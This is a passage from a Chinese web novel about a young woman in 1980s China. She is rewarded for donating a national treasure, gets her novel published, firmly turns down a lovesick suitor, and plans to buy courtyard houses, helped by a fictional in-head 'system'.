这时候孙老开口了,笑呵呵地拍拍时建军的肩膀:“小同志,别急着拒绝。这可不是白给你的,是国家对你妹妹贡献的奖励,也是对你本人的认可,我们都是调查过的。再说了,你不是喜欢摆弄机械吗?首都机械研究所,那可是全国搞机械的都想进的地方。你进去好好干,给国家多做贡献,不就对得起这份奖励了?” 周副所长也在旁边帮腔:“是啊小同志,这是国家的心意,你就安心收下。以后好好工作,为国家做贡献,就是最好的回报。” 陈局长也笑了:“别紧张。我们了解过,你高中毕业,虽说是临时工,但在厂里技术科一直干得不错,业务能力过硬,现在也在考大专拿文凭。首都机械研究所正缺你这样有实操经验的年轻人。你进去之后,好好干,前途无量。” 时建军张了张嘴,说不出话来,看向父母。 时爱国沉默了片刻,冲儿子点了点头。 李秀兰眼眶泛红,也点了点头。 时建军站在那里,脸涨得通红,看看妹妹,又看看各位领导,最终咬了咬牙:“谢谢各位领导,谢谢国家。我向各位领导保证,我到了新岗位,一定好好干,拼命学技术,绝对不给国家丢脸!” 刘局长哈哈大笑,拍了拍他的肩膀:“好!有志气!我们就等你好好干,干出成绩来!” 时建军站在那儿,脸还是红的,但腰板挺得笔直。 时墨看着哥哥,嘴角微微扬起。 最后,刘局长拿出一个红色的信封,递到时墨手里,笑着说:“时墨同志,这是国家给你的五千元奖金,奖励你为国家找回国宝的贡献,这个,你必须收下。” 五千元。 现在普通工人一年的工资也就一千出头,五千元相当于普通家庭好几年的收入了,绝对是一笔巨款。 时墨双手接过信封,没有推辞,坦然道:“谢谢国家的奖励,谢谢各位领导。这笔钱,我会专门存起来,用来继续收集民间流失的文物,让更多的国宝,能回到国家手里,回到博物馆里。” 捐赠仪式结束后,是自由交流时间。 记者们涌了上来,把时墨团团围住。问题一个接一个,时墨不慌不忙,一一作答。她的声音不大,但吐字清晰,态度从容,完全不像是第一次面对这么多镜头。 有位老记者忍不住感叹:“这姑娘,天生就是干大事的料。” 宋正先站在一旁,看着时墨应对记者的样子,眼里满是欣赏。他对旁边的孙老说:“老孙,这姑娘你是在哪儿挖到的?眼光毒,心正,脑子清楚,说话还这么得体——我干了四十多年鉴定,头一回见这样的年轻人。” 孙老笑得见牙不见眼:“那是!我第一眼见她就知道这丫头不简单!老宋,你可别跟我抢人。” “抢什么抢?”宋正先笑骂,“她是你的忘年交,也是我的忘年交。以后在首都,她的事就是我的事。” 时爱国和李秀兰也被几位领导围着说话。起初还有些拘谨,聊着聊着就放松下来。李秀兰说起女儿小时候的事,脸上全是笑;时爱国话不多,但每一句都实在,赢得几位领导频频点头。 时建军被首都机械研究所的几位专家拉到一边,聊起了机械方面的话题。起初他还紧张,聊到技术问题就慢慢放松了,说到兴处,眼睛都亮起来。 【叮——】 系统的声音忽然在脑海里响起。 【宿主,阶段性进步奖励已审批通过,现予发放!】 时墨一边应付着记者,一边在心里回应:【说。】 【奖励一:资产限额提升。宿主当前可支配资产上限,从“国民年收入1.5倍”提升至“国民年收入3倍”!】 【奖励二:能量币10000点。宿主可随时前往系统商城查看!】 时墨的嘴角,忍不住扬起了一抹浅浅的笑意。 捐赠仪式结束后,已经接近中午。孙老再次把时墨一家送回家。 车上,一家人还没从今天的震撼里缓过来。 时建军一直捧着那本捐赠证书,翻来覆去地看,笑得合不拢嘴;李秀兰靠在座位上,拍着胸口说:“我的天,今天见了那么多大领导,我手心的汗就没干过,还好咱们墨墨争气,一点都不慌,给咱们家长脸了!” 时爱国坐在旁边,一直笑着感慨道:“我活了四十多年,从来没想过,咱们家能出这么大的事,能给国家做这么大的贡献。墨墨,爸真的为你骄傲。” 时墨看着一家人,笑着说:“这不是我一个人的功劳,是咱们一家人的。” 车刚开到家属院楼下,还没停稳,时墨就看见,楼下围了满满当当的人,全是家属院的邻居。 王大妈、刘婶、赵大爷、李大爷,几乎半个家属院的人都来了,一个个伸长了脖子往车上看。 车刚停稳,王大妈第一个冲了过来,笑着喊:“墨墨回来了!秀兰!你们可算回来了!” 车门打开,邻居们瞬间围了上来,七嘴八舌地问: “墨墨,今天的捐赠仪式顺利不?上电视了吧?” “听说国家领导都见你了?是不是真的?” “我的天,咱们家属院出了你这么个大英雄,太光荣了!” “国家给你啥奖励了?快跟我们说说!” “哎哟,你们这是干啥?开欢迎会啊?”李秀兰瞬间恢复了那股干练热情的劲儿,笑着跟大家打招呼:“谢谢大家关心!都别站在楼下了,都上楼,去家里坐,我给大家倒水,慢慢跟大家说!” 王大妈一把拉住她的手:“秀兰,我们都等一上午了!快说说,今天那仪式啥样?见着大领导没?” 刘婶也凑过来:“墨墨呢?让墨墨跟我们说说!” 时墨从车上下来,立刻被一群人围住。 “时墨你今天可太威风了!电视上能看到不?” “那画真的值那么多钱?你咋舍得捐的?” “墨墨,你那奖章呢?让大妈看看!” 时墨笑着应对,不慌不忙。李秀兰在旁边帮忙解围:“别急别急,都进屋说,进屋说!” 一群人呼啦啦跟着上了楼,不大的客厅瞬间挤得满满当当。 时建军被挤在最后面,好不容易才挤进屋,发现连站的地方都快没了。 李秀兰张罗着倒水、拿瓜子花生,邻居们七嘴八舌问个不停。 “秀兰,你跟我们好好讲讲,今天那场面大不大?” 李秀兰笑得合不拢嘴:“大!可大了!那博物馆门口,记者乌泱泱一片,闪光灯闪得我眼睛都睁不开!还有那些领导,文物局的局长、□□的副部长,都是咱们平时在电视上才能看见的人!” “真的假的?”王大妈瞪大眼睛,“那他们跟你们说话不?” “说了说了!”李秀兰指着时爱国,“老时他还被局长握了手呢!” 时爱国难得有些不好意思:“嗨,这算啥。” 刘叔一把抓住他的手:“哎哟,这只手被局长握过的手,可不能洗了!” 众人哄堂大笑。 “墨墨呢?墨墨在台上紧张不?”有人问。 时墨笑了笑:“还行,不紧张。” “不紧张?”赵大爷竖起大拇指,“了不得!我当年上台领个先进工作者的奖,腿都抖了半天。你这丫头,有出息!” 王大妈又凑过来:“墨墨,你跟我们说说,你当时咋知道那画是宝贝的?” 时墨又不能说全靠系统鉴定,只能借口道:“也没啥诀窍,就是多看多学。家里那些老书、老画册,我从小就看,看得多了,就有点感觉。” “那你也教教我们家小军呗?”刘婶眼睛一亮,“让他也长长本事!” 李秀兰笑着接话:“那可不行,我们家墨墨这是天赋,学不来的!” 又是一阵笑声。 时建军被几个年轻人拉到一边,追问工作的事。 “建军,你真要进首都机械研究所了?那可是国家单位啊!” “真的假的?你以后就是国家干部了?” 时建军脸有点红:“是真的……但我懂得少,得从头学。” “你就偷着乐吧!多少人想进都进不去!” 时建军被说得不好意思,但嘴角的笑怎么也压不下去。 时墨坐在人群中央,看着这热闹的一幕,感慨现在家属院,谁家有好事,全院的人都能来凑热闹;谁家有难处,都能来帮忙。 这种朴素的人情味,是她工作在钢筋水泥的城市里从没感受过的。 【宿主。】系统的声音又响起。 【嗯?】 【系统检测到,您当前的情绪状态为:满足。这是您来到这个时代后,第一次出现这种情绪。】 时墨微微一愣。 【是吗?】 【是的。系统记录下来,作为重要数据。】 时墨心思突然一动:【这些数据有没有标准值,达到了就给奖励?】 【暂时没有。】 【这个可以有。】 【这个真没有。】 第33章 接下来的日子, 时墨忙得脚不沾地。 捐国宝的热度还没过去,林慧君那边就传来了好消息。 周三上午课间,传达室的大爷敲开了教室门, 探着头喊:“时墨有你电话, 百姓文学出版社打来的, 说有急事找你!” 教室瞬间安静。 时墨没想到出版社那边这么快就有了消息, 跟班主任打了声招呼,快步往传达室跑。 刚拿起听筒,那边就传来了林慧君爽朗又带着兴奋的声音:“时墨!好消息!” “林阿姨?”时墨咽了口口水,压下急促的喘气声,笑着应声, “您说。” “你那本《返城知青逆袭记》, 稿子我们全本审批完了,一字没改, 全票通过!”林慧君的声音里满是激动, “本来按计划是等你高考完交全稿再排版印刷,可你捐国宝的事现在全国都知道了, 社里连夜开了会, 决定先印三万册试水, 下周就下厂开机!” 时墨心里一动, 她倒是没想到, 捐画的热度竟然反哺到了出版上。 “林姨,会不会太赶了?我后面的稿子还在收尾,而且我还没再从头润色一遍。” “不赶不赶!”林慧君立刻接话, “我们都检查过,你写的已经很不错了,时机更重要。你前面连载的内容够先印上册了, 下册等你后续交稿正好接上,一点不耽误。社里已经把首款稿费给你打过去了,基础稿酬按合同的千字三十五元,先结上册的全款,加上首印三万册的版税预付款,一共两千八百块,你回头去邮局查收一下。剩下的七万册的尾款和后续版税,等下册出版、全本售罄后统一结算,一分都不会少你的。” “这三万册我估计都不够卖的,后续还会加印,钱到时候一起算。” “钱方面我相信林姨。”时墨听到话筒里林慧君喜气洋洋的语气,也不由高兴起来。 “你可真是个小福星,本来我们还研究怎样宣传推广更好,你这新闻直接引爆了媒体圈。” “都是巧合。” “世上哪来那么多巧合,前前后后这些事,我是看明白了,你心肠好,老天不会错对你。你之前提的作家协会推荐名额,我们社里已经正式提交上去了,市作协那边已经受理了,等书一上市,再加上你现在的社会影响力,入会基本板上钉钉了。”林慧君笑着补充,“时墨,你现在可是咱们社的重点作者了,社里都等着你的书大卖呢!” “谢谢林阿姨,也谢谢社里的认可。”时墨回过神,语气从容地应下,“后续的稿子我会按时收尾,绝对不耽误出版进度。” “好,我就等你这句话!”林慧君笑得更开心了,“不耽误你上课了,有什么事随时给我打电话,咱们随时沟通!” 挂了电话,时墨捏着听筒,嘴角忍不住扬起。 【宿主,发财了!两千八百块!加上之前国家给的五千块奖金,总资产总资产一万零伍佰!宿主你现在也是万元户了!】系统在脑海里激动地嗷嗷叫,【还都没违背系统制定的原则,太厉害啦!】 【瞧你那点出息。】时墨笑着怼了一句,说了句让系统更开心的话,【之前答应过给你稿费十分之一,自己拿吧, 下次稿费打过来的钱再另算。】 【嗷嗷嗷!】 系统激动的向时墨发起表情包攻击。 【爱你.jpg】【亲亲.jpg】【撒花.jpg】【转圈.jpg】 接下来的几天,时墨忙得脚不沾地。 白天上课、刷题,写作业,课间要应付一波波来围观的同学、慕名而来的其他班级学生,放学回家要写小说收尾稿,还要抽时间跟出版社沟通出版细节,偶尔还要去聚贤斋跟孙老、宋老他们聊聊文物的事,忙得连吃饭都跟打仗似的,压根没注意到家里悄然变化的气氛。 时爱国最近下班回家,话明显少了很多,吃饭的时候总是心不在焉,筷子夹着菜半天不往嘴里送;李秀兰也总是欲言又止,看着丈夫的眼神里,总带着点藏不住的担忧。 时墨以为爸妈是还没从捐赠仪式的激动里缓过来,压根没往别处想。 直到这天夜里。 时墨起夜去厕所,路过爸妈的卧室门口,听见里面传来压低的说话声,断断续续的,却字字清晰地钻进了她的耳朵里。 李秀兰的声音,压得很低:“……老时,你说这事到底咋办啊?总不能一直拖着吧?赵厂长今天是不是又找你了?”语气里的焦虑连时墨听出来了。 时墨的困意顿时消散,靠近门侧偷听。 “嗯,下班的时候在厂门口堵着我了。”时爱国的声音里满是疲惫,“还是为了他儿子赵星宇。” “他还不死心?”李秀兰的声音拔高了一点,又赶紧压下去,“之前咱们墨墨都把话说得多清楚,他儿子还闹?” “谁说不是呢。”时爱国叹了口气,“赵星宇那孩子,自从被墨墨拒绝后,回家就一蹶不振,得了相思病,最近连饭都不吃了,人都瘦脱了相。他媳妇心疼得不行,天天在家哭,逼着赵厂长想办法。赵厂长也是实在没辙了,才拉下脸来找我。” “你也知道我们厂长是啥人,要不是他实在没招了,不会求到我面前。” “那他想咋的?还想让墨墨跟他儿子处对象?”李秀兰的语气里带了气,“他也不想想,他儿子配得上咱们墨墨吗?咱闺女现在是给国家捐国宝的人,之前报纸电视天天播,首都大学都要保送,他那个不务正业的儿子,哪点配得上?” “我知道,我都委婉的跟他说了。”时爱国的声音里满是无奈,“孩子们的事,咱们当父母的管不了,墨墨自己不愿意,谁逼都没用。现在都是自由恋爱,不是以前父母之命媒妁之言的时代。可厂长今天……都跟我恳求上了,说就求我让墨墨跟他儿子见一面,说几句话,劝劝他儿子,不然孩子就废了。” “那你答应了?” “我能答应?!”时爱国的语气立刻硬了起来,“闺女明确说了不喜欢,我这个当爸的,能逼着闺女去见她不想见的人?我当场就推了。可……”他顿了顿,语气又沉了下去,“赵宏林毕竟是一厂之长,我在他手底下干了半辈子了,这次这么硬邦邦地拒绝了,以后在厂里,难免给我穿小鞋。” 李秀兰也想到这儿,语气里满是担忧:“我就担心这个!要不是这次墨墨捐了国宝,厂里给你和我都记了大功,今年评优优先,你这次拒绝他,他肯定早就给你脸色看了!但你俩天天在一个厂里,他想给你使绊子,那还不是一句话的事?咱们又不能辞职不干,这铁饭碗,总不能说丢就丢啊!” “别说了。”时爱国打断她,“我知道。我当爸的,总不能为了自己在厂里好过,把亲闺女往火坑里推。墨墨现在正是关键时候,不能让这些糟心事烦她。我现在能扛的住,实在不行,我就去找厂党委书记说说,他总不能一手遮天。” “唉……”李秀兰长长叹了口气,“都怪那个赵星宇,好好的小伙子,怎么就一根筋呢!这都一个来月了,还不死心,这不是祸害咱们家吗?” 时墨站在客厅里,手指攥紧了睡衣的衣角。 她这段时间只顾着忙自己的事,竟然完全没注意到,她爸最近下班回来总是比平时晚,吃饭也心不在焉,问他就说厂里忙。她妈倒是照样笑眯眯地招呼邻居,可有时候坐在那儿发呆,叫好几声才反应过来。 她以为他们是累的。 原来是这样。 赵星宇! 她以为话说清楚了就完了,没想到他竟然这么偏执,。更没想到,赵厂长竟然会为了儿子,拉下脸来求她爸。 这年头,正式职工哪有辞职的?工作是铁饭碗,是命根子!爸在厂里干了二十来年,赵厂长是他领导,以后抬头不见低头见…… 时墨轻手轻脚地退回自己房间,把门关好。 她躺在床上,睁着眼,看着窗外的月光。 是她失职了。 这段时间光顾着自己的事,竟然没发现爸妈在扛着这么重的压力。 解铃还须系铃人。 这事的根源在赵星宇身上,光靠爸爸硬扛没用,她必须亲自出手,彻底把这事了结了,不能再让爸妈因为她受半点委屈。 时墨心里有了主意,却没想到,对方的动作比她还快。 第二天下午,最后一节课刚下课,班主任又出现在教室门口。 “时墨,有人找。” 她走出教学楼,就看见楼下站着一个烫着卷发的中年女人,穿着一件深蓝色的外套,眼眶通红,脸上满是憔悴,正朝里面张望。 “时墨!”她一看见时墨,就快步迎了上来,一把抓住时墨的手,“好孩子,阿姨求你件事,你……你能不能去看看小宇?” 她的声音发颤,眼泪已经涌了出来。 时墨没想到赵星宇的妈妈竟来找她,语气平静的安慰道:“阿姨,您别急,有事慢慢说。” “慢慢说?我怎么能慢慢说?”关玉月的手抖得厉害,“小宇他……自从被你拒绝后,就跟丢了魂似的,天天把自己锁在屋里,饭也不吃,水也不喝,现在都躺床上起不来了!医生说再这样下去,人就不行了!时墨,阿姨求你了,你就去看看他,哪怕……哪怕骗骗他也好,让他吃口饭,行不行?” 她说着就要往下跪。 时墨赶紧扶住她:“阿姨,您别这样!” 旁边已经围了几个低年级放学的学生,探头探脑地看。 时墨扶着赵妈妈,往校门边的花坛走了几步,避开那些目光。 “时墨,阿姨知道,这事跟你没关系。”赵妈妈攥着她的手,眼泪止不住地流,“是小宇他自己想不开,可我就这一个儿子,他要是有什么三长两短,我也活不下去了。你就当……就当可怜可怜阿姨,去看看他,行不行?” 时墨看着关玉月泛红的眼眶,心里说不上是什么滋味。 可怜天下父母心。 “阿姨。”她沉默了一会儿,终于开口,“我可以去看他。” 赵妈妈眼睛一亮:“真的?” “但我去不是为了骗他,也不是为了答应他什么。”时墨看着她的眼睛,语气平静却坚定,“我是去跟他说清楚,让他明白,绝食、作践自己,用自己的性命威胁父母,解决不了任何问题。这不是什么深情,是懦弱,是自私,是对自己、对父母的不负责任。如果他听了,能想通,那最好。如果他还想不通,那我也没有办法。” 关玉月愣了一下,随即连连点头:“行,行!只要你去见他一面,怎么说都行!” 时墨问道:“他人在哪儿?” “在家,在家躺着呢。”赵妈妈赶紧说,“你什么时候去?我让你叔来接你!” “不用接。”时墨说,“我现在就跟你去。” 她转身跟班主任请了假,又让一个同学帮忙给家里捎句话,说晚点回去。 然后收拾书包,跟着关玉月,上了那辆等在路边的车—— 作者有话说:过年真不能往人多的地方去,病毒多易生病,存稿见底了QAQ 第34章 赵家住在厂里的干部家属楼, 格局和时家差不多,只是屋里收拾得更讲究些。组合柜擦得锃亮,上面摆着双卡录音机和几盘港台磁带, 墙上挂着风景挂历, 沙发上铺着钩针白纱巾, 连茶几上的搪瓷缸都印着“先进工作者”的红字, 处处透着厂长家的体面。 时墨一进门,就看见赵宏林坐在沙发上,手里夹着烟,烟灰攒了老长一截都没弹。 看见时墨进来,他猛地站起身, 脸上的表情复杂得很, 有尴尬,有愧疚, 还有一丝难以言说的祈求, 干巴巴地挤出一句:“时墨来了,快坐。” “赵叔好。”时墨微微颔首, 大大方方地打了声招呼, 语气平和, 半点没有被迫上门的愤怒。 关玉月又是倒水又是拿糖, 嘴里不停念叨:“墨墨, 真是麻烦你跑这一趟了,阿姨知道这事不合规矩,可小宇这孩子……实在是没办法了, 你多担待。” 【宿主!数据预警!关玉月愧疚值40%,甩锅欲60%,等会儿大概率要卖惨道德绑架, 提前做好防御准备!】系统的声音在脑海里准时响起,带着满满的警惕。 时墨指尖轻轻摩挲了一下水杯边缘,在心里回了句【知道了】,面上依旧笑意得体:“关阿姨别这么说,赵叔和我爸是老同事,我来看看赵星宇也是应该的。” 这话既给了赵家台阶,也点透了两家的关系——不过是父辈同事的情分,再无其他。 赵宏林听着,脸上的愧色更重了,狠狠吸了一口烟,把烟蒂摁灭在烟灰缸里,叹了口气没说话。 “墨墨,你快跟我来!”关玉月见她态度平和,悬着的心松了大半,急急地拉着她往里屋走。 里屋的窗帘拉得严严实实,只留了一条缝漏进点微光,空气里混着没散去的饭味。床上躺着个人,侧着身脸朝里,被子胡乱搭在身上。 “儿子,儿子!”关玉月凑过去,声音放得又轻又软,“时墨来看你了!” 床上的人猛地动了一下,像是僵住了,半晌才慢慢翻过身来。 时墨差点没认出来。 不过一个来月没见,赵星宇瘦得脱了相,脸颊凹陷下去,眼下是浓重的乌青,嘴唇干裂起皮,头发乱糟糟地贴在额头上,全然没了当初在师大门口,穿着喇叭裤、抱着吉他的张扬劲儿。 唯有一双眼睛,在看见她的瞬间,骤然亮了起来。 他挣扎着想坐起来,胳膊撑了两下,却因为几天没好好吃饭,软得又倒了回去,只能死死盯着时墨,声音沙哑得像砂纸刮过木头:“时墨……你真的来了。” 【分析完成。】系统的声音适时响起,【赵星宇,二十三岁,文化局挂职。性格特征:被父母过度保护,抗挫折能力低下,行事冲动,情绪化严重。当前状态:轻度脱水加营养不良,但无生命危险,情绪激动值95%,其中不甘心占比62%,执念式喜欢占比38%,典型的娇生惯养偏执型人格,】 时墨在心里【嗯】了一声,在床边的凳子上坐下。 “赵星宇。”时墨声音不轻不重,脸上没什么表情。 赵星宇的眼眶瞬间红了,他盯着时墨,声音里带着满满的委屈:“你是不是来看我笑话的?看我把自己搞成这副鬼样子,是不是觉得我特别没用,特别可笑?” “我没这个意思。”时墨语气平静,“我来,是想把话说清楚,也不想因为咱们俩这点事,影响到我爸和赵叔在厂里的工作。” “不是的!不是这样的!”赵星宇突然激动起来,挣扎着坐起身,靠在床头,胸口剧烈起伏着,“时墨,我知道你烦我,可你能不能听我解释一句?当初相亲的事,不是我故意不去的!” 时墨没接话,只是静静看着他。 他急着辩解,语速飞快:“那时候我爸跟我说,给我介绍个厂里的姑娘,我以为又是那种只知道柴米油盐、觉得我玩吉他不务正业的人,我懒得应付,才让我表哥谢时昀替我去的!我要是早知道是你,我就算爬也爬过去!” “我在师大门口看见你的第一眼,我就动心了,我天天想着怎么跟你搭话,结果转头知道,你就是我爸给我介绍的那个姑娘!你知道我那时候多后悔吗?我恨我自己当初为什么要偷懒,为什么要让谢时昀替我去!” 他越说越激动,眼泪顺着凹陷的脸颊往下掉:“我知道你拿谢时昀当挡箭牌,你说你喜欢他那样的!可我哪里比不上他?就因为我没考上大学,就因为我玩音乐,你们都觉得我不务正业。” 时墨听到这儿,心里有了数。 不甘心,比喜欢更麻烦。 “我玩音乐不是瞎玩!我写的歌,文化馆的老师都夸过!我只是不想按部就班地活,我有我自己想做的事!”他盯着时墨的眼里满是不甘和祈求,“时墨,你别拿我跟他比,也别一棍子把我打死,你给我个机会,行不行?你试着了解了解我,我绝对不会比谢时昀差,我会对你好的,我把我所有的东西都给你!” 关玉月站在门边,捂着嘴偷偷抹眼泪,不停给时墨使眼色,盼着她能松口。 【我去!这男的好会偷换概念!】系统气得在脑海里嗷嗷叫,【他自己不去相亲,怪谁啊?现在倒成了阴差阳错的遗憾了?还拿谢时昀攀比,典型的输不起!宿主你可别听他瞎扯,赶紧戳破他的逻辑!】 时墨安静地听赵星宇说完,全程没有打断,直到他话音落下,才缓缓开口,声音冷静,却字字清晰,进退有度,半点没被他的情绪带着走。 “赵星宇,我先跟你说清楚两件事。第一,相亲的事,不管你是让谢时昀替你去,还是自己不去,结果都是一样的——你从一开始,就没打算认真对待这场相亲,也没打算尊重那个素未谋面的姑娘。就算当初去的是你,我也不会跟你有什么发展,这跟谢时昀没关系,跟阴差阳错也没关系,是我们本来就不是一路人。” “第二,你玩音乐,追求你想要的生活,没有错,也没人说你不务正业。但你不能因为我不喜欢你,就把原因归在‘我觉得你比不上谢时昀’上。我喜不喜欢一个人,跟他是什么职业、有没有出息没关系,只跟我合不合得来有关系。我不喜欢你,不是因为你比不上谁,只是因为我们不合适。” 她的话没有半分贬低,也没有半分嘲讽,只是平平静静地陈述事实,既给赵星宇留了体面,也把界限划得清清楚楚。 坐在外屋的赵宏林听着,心里又是愧疚又是佩服,时墨才十八,说话办事就这么周全得体,再看他儿子都23了,还不如比他小的姑娘。 赵星宇愣住了,张着嘴,半天说不出话来,眼里的光一点点暗了下去:“可我是真的喜欢你。” “你喜欢我什么?” “你跟别人不一样。” “哪不一样?” “你……你有才华,有胆量,正直,无私……”赵星宇快速瞥了时墨一眼,又垂下眼睑,小声道,“还……特漂亮。” 时墨点点头:“那你知不知道,我喜欢什么,爱吃什么,有什么理想追求,讨厌什么?” 赵星宇愣住了。 “不知道吧。”时墨讽刺地笑了,“你喜欢的,是报纸上那个‘见义勇为的英雄’,‘新生美女作家’,‘无私捐献国宝的青年’都是别人赋予我身上标签。你根本不了解我这个人。” 赵星宇张了张嘴,说不出反驳的话。 “所以……你是真的一点机会都不肯给我,对不对?” “对。”时墨看着他,语气坚定,没有半分含糊,“你现在这样,不是因为喜欢我,是因为不甘心。你不甘心当初错过了相亲,不甘心我拿谢时昀当挡箭牌,不甘心被拒绝。你把这份不甘心,当成了喜欢。” “我不是,我……” 时墨抬手挡住赵星宇后面的话:“你23了,仅仅因为被我拒绝,便糟践自己的身体,让你爸妈担心,让我爸妈为难。你现在这样,让我怎么看得起你?”时墨眼里带着冷意。 赵星宇这回是真的难堪。 时墨站起身,眼神鄙夷地看着他:“赵星宇,你要真是个爷们儿,就该爬起来,吃饭,把身体养好。该上班上班,该玩音乐玩音乐,把自己活出个样子来。不是为了让我看得起,是为了让你看得起自个儿。” “我走了,你好自为之。” 说完,转身就往外走,没有半分拖泥带水。 “时墨!对不起。”赵星宇在她身后喊了一声,却终究没再说出什么挽留的话。 时墨没回头,径直走出了房间。 关玉月追出来,红着眼感谢道:“时墨,阿姨谢谢你,真的谢谢你。这孩子从小到大没受过挫折,我们当爸妈的也有责任……” “阿姨,您别这么说。” 外屋的赵宏林立刻站起身,看着她,嘴唇动了半天,最终只说出一句沉甸甸的话:“时墨,谢谢你。是叔没教好儿子,给你和你爸添麻烦了。你放心,以后叔绝对管好他,再也不会让他去打扰你们家,叔用这张老脸跟你保证。” 他在厂里干了一辈子,最看重脸面,这次为了儿子,不仅拉下脸去求老同事,还没阻止他爱人跑到学校去闹,早就臊得抬不起头。 时墨今天这番话,既没撕破脸,也把事彻底说透了,给了他台阶,也解了他的为难,他心里只剩满满的愧疚和感激。 “赵叔言重了。”时墨微微颔首,语气依旧得体,“你和我爸都是多年老同志,话说开了就好。那我就先回去了,不打扰你们了。” “哎,好,叔送送你。” “不用了赵叔,您留步吧。”时墨笑着婉拒,拉开门走了出去。 下楼的时候,系统才松了口气,在脑海里疯狂夸赞:【宿主你太牛了!几句话就把他怼得哑口无言,还把赵宏林安抚得明明白白!既划清了界限,又没给你爸留后患,这波操作满分!】 时墨嘴角微微勾了勾,在心里回了句:【不然呢?总不能让我爸因为赵星宇这点破事,在厂里受委屈。】 回到家的时候,天已经擦黑了。 李秀兰正在厨房做饭,听见开门声,赶紧探出头来:“墨墨回来了?刚才有人捎话说你有事,还不用你爸接,什么事啊?” 时墨看着她,忽然走过去,抱住了她。 李秀兰一愣,手里的锅铲都忘了放:“咋了闺女?” “没事。”时墨松开手,顺手帮她理了理鬓角的碎发,笑了笑,“就是想抱抱你。” 李秀兰被她弄得莫名其妙,但还是笑了:“你这孩子,都多大了还撒娇。” 时爱国也从里屋出来,看见女儿,眼神里闪过一丝复杂。 时墨看着他,主动开口:“爸,赵星宇妈妈傍晚来学校找我,我跟她去看了赵星宇。我把话说清楚了,赵叔也跟我保证了,以后不会再让他来打扰咱们家,也不会在厂里给你使绊子。这事就算了了,以后你不用再为难了。” 时爱国心里一暖,鼻子微微发酸,他这个当爸的,没护住女儿,反倒让女儿跑前跑后去解决麻烦。 他清了清嗓子,故作轻松地拍了拍她的肩膀:“好,爸知道了。我闺女长大了,能扛事了。” “爸,妈,对不起。”时墨看着他们,认真地说,“我这段时间光忙自己的事,没注意到因为我发生了这些事。” 李秀兰的眼眶红了,一把把女儿搂进怀里:“傻孩子,你跟爸妈说什么对不起?爸妈不告诉你,是不想让你为难。” 时爱国站在旁边,看着抱在一起的母女俩,鼻子也有些发酸。 “行了行了,都别站着了,吃饭!”李秀兰笑着吆喝。 晚饭桌上,气氛比前几天轻松了太多。 李秀兰把菜往时墨碗里夹了又夹,时建军也带来了好消息,他放下筷子,一脸兴奋地说:“我今天去机械研究所报到了!人家给我安排了个师傅,手把手教技术,还说让我好好干,以后有机会送我去进修!” “真的?那可太好了!”李秀兰笑得合不拢嘴,一个劲地给他夹菜,“那你可得好好学,别辜负人家师傅的期望,也别给你妹丢脸!” “那必须的!”时建军拍着胸脯保证,“我妹给咱家挣了这么大的脸,我这个当哥的,绝对不能拖后腿!” 时墨看着一家人热热闹闹的样子,端起碗喝了一口温热的小米粥。 窗外,家属楼里灯火通明,隔壁传来炒菜的滋啦声,楼下有孩子跑跳的笑闹声,收音机正常播放着每日新闻。 突然,一则新闻引起了时墨的注意。 第35章 “……□□日前批转《关于扩大城市公有住宅补贴出售试点的报告》, 决定在京市、海市等城市扩大试点。公有住宅向职工个人出售,国家和单位补贴三分之二,个人只需承担三分之一成本价, 双职工家庭工龄还可抵扣房款……” 时墨的筷子顿在半空。 她脑子里“嗡”地一下, 前世看过的那些资料像放电影一样闪过—— 1984年10月, 公房补贴出售试点, 首都是核心试点城市。 一套三环内五十平米的单元房,成本价大概一万五,个人只需要出五千块。双职工家庭工龄长的,抵扣完甚至一两千就能拿下。 但政策窗口期极短。 她隐约记得1985年初,因为财政补贴压力太大, 试点就紧急叫停了。后面九十年房改的时候, 房价已经翻了好几倍,个人要出的钱直接涨了十倍不止。 这是八十年代最大的政策红利之一。 “墨墨, 咋了?菜都凉了, 发什么呆呢?”李秀兰见她举着筷子半天不动,伸手碰了碰她的胳膊。 时墨放下筷子, 看向时父母:“这不, 广播里念政策呢。爸, 咱们厂里最近有没有说房子的事?” 时爱国一愣:“什么房子?” “就是公房出售, 刚才广播里刚说的那个政策。”时墨指了指收音机, “国家和单位补贴三分之二,个人只要掏三分之一,就能把咱们现在住的这套房子买下来。” 时爱国和李秀兰对视一眼, 都是一脸茫然。 “买房子?”时爱国笑了,“墨墨,这房子是厂里分的, 住得好好的,买它干啥?每个月交几块钱房租就行,跟白住一样,没必要花那冤枉钱。” 李秀兰也连连点头,附和道:“就是啊闺女,咱们工人有厂子管,房子都是单位分的,哪有自己花钱买的道理?” 时建军也点头:“对啊妹,厂里人都说,房子是公家的,住着踏实。买下来干啥?又不能带走。” 时墨:“……” 她忘了,这个年代的人,根本没有“买房”的概念。 房子是单位分的,工作就是铁饭碗,房子就是铁饭碗的附属品。谁会想到二十年后,房价能涨到天上? “爸妈,你先别管划算不划算。”时墨耐着性子解释,“你就跟我说,厂里最近有没有贴通知,说可以买房子?” 李秀兰想了想:“好像……是有这么回事。上个月车间开会,工会主席提了一嘴,说国家有政策,愿意买的可以申请。大家都没当回事,谁花那冤枉钱?” 时爱国也想起什么:“对对对,办公室的小王还问过我,说时师傅你家要不要买?我说不买,住得好好的买啥。” 时墨深吸一口气。 “爸,妈。”她放下筷子,认真地看着他们,“我想买。” 时爱国和李秀兰同时愣住了:“买房子?” 时墨早料到父母会是这个反应,也没急着反驳,只是笑着说:“爸,妈,我不是说咱们现在住的这套楼房。我是想,咱们把胡同里那处四合院,剩下的三间房都买下来。” 这话一出,桌上的三个人都懵了。 “四合院?那破房子?” 时建军嘴里的馒头差点咽不下去,瞪着眼睛问:“妹?那三家老邻居住得好好的,能卖吗?再说了,买那平房干啥?又没上下水,冬天还得生炉子,多麻烦。” “麻烦是麻烦点,可那是独门独院的产权房。”时墨不紧不慢地解释,“咱们现在住的楼房,是厂里的,只有居住权,不是咱们自己的。可四合院买下来,地和房子都是咱们家的,红本写咱们的名字,踏踏实实的。” 她掰着手指头数好处:“哥你马上要去机械研究所上班了,以后谈对象结婚,总不能一直跟爸妈挤在这两居室里吧?四合院整座买下来,前后院好几间房,你结婚有婚房,我有自己的书房,爸妈住正房,宽敞又自在。关起门来,咱们一家人想干什么干什么,不用跟邻居挤在一个院里,也不用听楼道里的闲言碎语。” “买……买整个院子?”他不敢置信地伸手要去摸时墨额头,“妹,你没发烧吧?” 时墨歪头躲开,慢条斯理道:“我没发烧,我很清醒。” 